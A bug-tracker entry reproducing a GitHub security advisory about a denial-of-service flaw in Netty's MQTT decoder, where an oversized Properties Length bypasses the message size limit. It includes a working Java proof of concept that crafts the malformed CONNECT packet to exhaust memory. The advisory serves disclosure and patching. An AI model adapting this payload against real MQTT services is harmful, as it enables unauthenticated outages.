Bug 2536967 (CVE-2026-93575)

Resource Exhaustion in MqttDecoder

A public GitHub Security Advisory (GHSA-jqf3-r9ww-c5x8) describes the following issue:

### Summary
Netty's fix for CVE-2026-44248 is incomplete. The decoder checks if the MQTT packet's `Remaining Length` exceeds `maxBytesInMessage`, but fails to validate the `Properties Length` against the `Remaining Length`. An attacker can bypass the size limit by sending a small `Remaining Length` but an enormous `Properties Length`. This forces Netty to buffer and parse millions of properties, allowing an unauthenticated remote attacker to trigger excessive memory and CPU consumption, leading to OutOfMemoryError.

### Details
In `io.netty.handler.codec.mqtt.MqttDecoder`, the `decodeProperties()` helper method reads `totalPropertiesLength` and attempts to parse that many bytes. If the buffer lacks the full length, a `Signal` is thrown. The `catch` block inside `decode()` only enforces `maxBytesInMessage` against `bytesRemainingBeforeVariableHeader` (the packet's `Remaining Length`).

By sending a `CONNECT` packet with a small `Remaining Length` but a huge `Properties Length`, the size check passes. `ReplayingDecoder` then buffers data from the network until the huge `Properties Length` is reached, parsing millions of `UserProperty` objects and exhausting CPU and memory.

### PoC

```java
public class PoC {
    public static void main(String[] args) {
        EmbeddedChannel channel = new EmbeddedChannel(new MqttDecoder(8092));

        ByteBuf buf = Unpooled.buffer();
        buf.writeByte(MqttMessageType.CONNECT.value() << 4);
        buf.writeByte(16); // Small Remaining Length (bypasses maxBytesInMessage)

        buf.writeShort(4);
        buf.writeBytes("MQTT".getBytes());
        buf.writeByte(5);
        buf.writeByte(0);
        buf.writeShort(60);

        // Huge Properties Length: 268,435,455
        buf.writeByte(0xFF);
        buf.writeByte(0xFF);
        buf.writeByte(0xFF);
        buf.writeByte(0x7F);

        // Send the header. ReplayingDecoder will now wait for 268MB of properties.
        channel.writeInbound(buf);

        // Send 50MB of properties to cause resource exhaustion
        byte[] userProp = new byte[]{ 0x26, 0, 1, 'A', 0, 1, 'B' };
        ByteBuf chunk = Unpooled.buffer(userProp.length * 10000);
        for (int i = 0; i < 10000; i++) {
            chunk.writeBytes(userProp);
        }

        try {
            for (int i = 0; i < 715; i++) {
                channel.writeInbound(chunk.retainedDuplicate());
            }
        } catch (OutOfMemoryError e) {
            e.printStackTrace();
        }
    }
}
```

### Impact
Resource Exhaustion. Any application using `io.netty.handler.codec.mqtt.MqttDecoder` to process MQTT 5 traffic is impacted.

Affected:
- maven:io.netty:netty-codec-mqtt affected >=4.2.0.Final, <=4.2.17.Final; fixed unknown
- maven:io.netty:netty-codec-mqtt affected <=4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-jqf3-r9ww-c5x8